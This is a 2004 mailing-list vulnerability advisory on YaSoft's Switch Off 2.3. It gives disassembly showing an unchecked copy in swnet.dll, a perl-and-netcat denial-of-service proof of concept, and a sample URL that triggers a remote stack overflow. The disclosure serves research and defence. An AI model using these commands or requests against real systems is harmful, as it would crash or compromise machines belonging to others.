Date: Fri, 02 Jan 2004 01:45:15 +0000
From: "Peter Winter-Smith" <peter4020@...mail.com>
To: bugs@...uritytracker.com, bugtraq@...urityfocus.com, news@...uriteam.com, vuln@...unia.com, vuln@...urity.nnov.ru, vulndb@...urityfocus.com, vulnwatch@...nwatch.org
Subject: Switch Off Multiple Vulnerabilities


Switch Off Multiple Vulnerabilities

###################################

Credit:
Author     : Peter Winter-Smith

Software:
Packages   : Switch Off
Version    : 2.3 and prior
Vendor     : YaSoft
Vendor Url : http://yasoft.km.ru/eng/switchoff/

Vulnerability:
Bug Type   : Denial of Service; Stack-based Buffer Overflow
Severity   : Less Critical


1. Description of Software

"Switch Off is a tiny easy-to-use tray-based system utility that can
automatically perform various frequently used operations like shutdown or
restart your computer, disconnect your current dialup connection, lock
workstation, etc. It also provides fast access to this operations through
system tray icon. Utility has fully customizeable Web interface, that
allows you to initiate operations mentioned above remotely from any
computer with web browser installed. Web interface includes WAP support,
so you can control your computer from mobile phone. This utility is
intended to be used by either novice or professional user, because of its
intuitive interface and professional features."
- Vendor's Description


2. Bug Information

(a). Denial of Service bug

It seems that sending an overly long packet of data (around 10240 bytes or
so, followed by two CrLfs) on port 8000/tcp will cause the Switch Off
application to enter an infinite loop. The faulty code lies in the
attached module 'swnet.dll'. This will enable an attacker to cause the
target system's CPU usage to climb to 100% and the application will deny
any further requests from clients.


(b). Stack-based Buffer Overflow

There also exists a remotely exploitable buffer overflow within code
contained in the module 'swnet.dll' which could enable an attacker to
execute arbitrary code on the remote system - possibly with SYSTEM
privileges (depending on the method of startup chosen by the
administrator).

The only major problem present is the fact that the remote attacker must
have already gained the login password from another source to be able to
cause the server to execute a specially crafted request which will trigger
the overflow, so the exploitability of this flaw is fairly limited.

While it is still possible that an administrator will not have set a
password on the server, it is highly unlikely, since it is certainly not
something which you would wish anyone to have unauthorised access to!

The overflow can be caused by supplying an overly long 'message' parameter
to the application by issuing a request similar to the following:

http://127.0.0.1:8000/action.htm?action=SendMsg&message=('a'x256)('XXXX')

If a password has been set, you will have to have logged in to the server
before issuing a malicious request to cause the overflow.


   (i) Analysis of the Vulnerable Code

To perform this code analysis I had to decompress the executable module
'swnet.dll' which is attached to 'swoff.exe' at execution time. If you
wish to follow this code breakdown for yourself, please run UPX on the
module in question before disassembling.

'upx -d swnet.dll'


The procedure (found at 10002B80) which causes the overflow is called from
10003382. The return address 10003387 is placed on the stack at the
address 0012FE40.


* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000331C(C)
|
:1000337C 83FF02                  cmp edi, 00000002
:1000337F 750E                    jne 1000338F
:10003381 53                      push ebx
:10003382 E8F9F7FFFF              call 10002B80
:10003387 83C404                  add esp, 00000004
:1000338A E9A3000000              jmp 10003432


In the procedure 10002B80, at the offset 10002FEF data is copied with no
boundaries until the ecx register reaches zero (where the ecx was the
length of our 'message', divided by the length of a dword). The ecx
register is decremented after each repetition of the 'movsd' instruction.
This unchecked copying causes the 'message' data to leak over the memory
space allocated to the buffer, and overwrite the saved return address of
the procedure being executed.


:10002FE4 2BF9                    sub edi, ecx
:10002FE6 8BC1                    mov eax, ecx
:10002FE8 8BF7                    mov esi, edi
:10002FEA 8BFA                    mov edi, edx
:10002FEC C1E902                  shr ecx, 02
:10002FEF F3A5                    repz movsd
:10002FF1 8BC8                    mov ecx, eax
:10002FF3 83E103                  and ecx, 00000003


Finally once the procedure has finished, the overwritten saved return
address is pop'ed off the stack by the 'ret' instruction at 10003256.


10003243 83C404                  add esp, 00000004
:10003246 5F                      pop edi
:10003247 5E                      pop esi
:10003248 5D                      pop ebp
:10003249 C70101000000            mov dword ptr [ecx], 00000001
:1000324F 5B                      pop ebx
:10003250 81C4E4010000            add esp, 000001E4
:10003256 C3                      ret


After this point we have complete control over the address at which code
execution continues, can use this to whatever malicious ends we desire!


3. Proof of Concept Code

The DoS condition can be exploited by creating a file of 10240 bytes,
followed by two CrLfs (carriage return, line feed), with the filesize
totalling 10244 bytes. Sending this file through netcat should cause the
server to stop responding:

perl -e "print 'a'x10240 . chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a);" >
  DoS.txt

nc 127.0.0.1 8000 < DoS.txt


The buffer overflow issue does not seem worth writing an exploit for,
since an attacker will need to have either found an unpassworded server,
or obtained the password to a target server, both of which are reasonably
unlikely situations. I also feel that the author may wish to fix the
vulnerability before such code is made public, therefore I am opting
against the release of any this point :o)

If I decide to release exploit code it should reside at:
- http://www.elitehaven.net/exploits.htm


4. Patches - Workarounds

No patches have been released for either of these issues as of 02/01/2004.


5. Credits

    The discovery, analysis and exploitation of this flaw is a result of
research carried out by Peter Winter-Smith. I would ask that you do not
regard any of the analysis to be 'set in stone', and that if investigating
this flaw you back trace the steps detailed earlier for yourself.

Greets and thanks to:
    David and Mark Litchfield, JJ Gray (Nexus), Todd and all the
packetstorm crew, Luigi Auriemma, Bahaa Naamneh, sean(gilbert(perlboy)),
pv8man, nick k., Joel J. and Martine.


o This document should be mirrored at:
    - http://www.elitehaven.net/switchoff.txt

_________________________________________________________________
Send a funky MSN Messenger Christmas card http://www.msn.co.uk/christmascard

Powered by blists - more mailing lists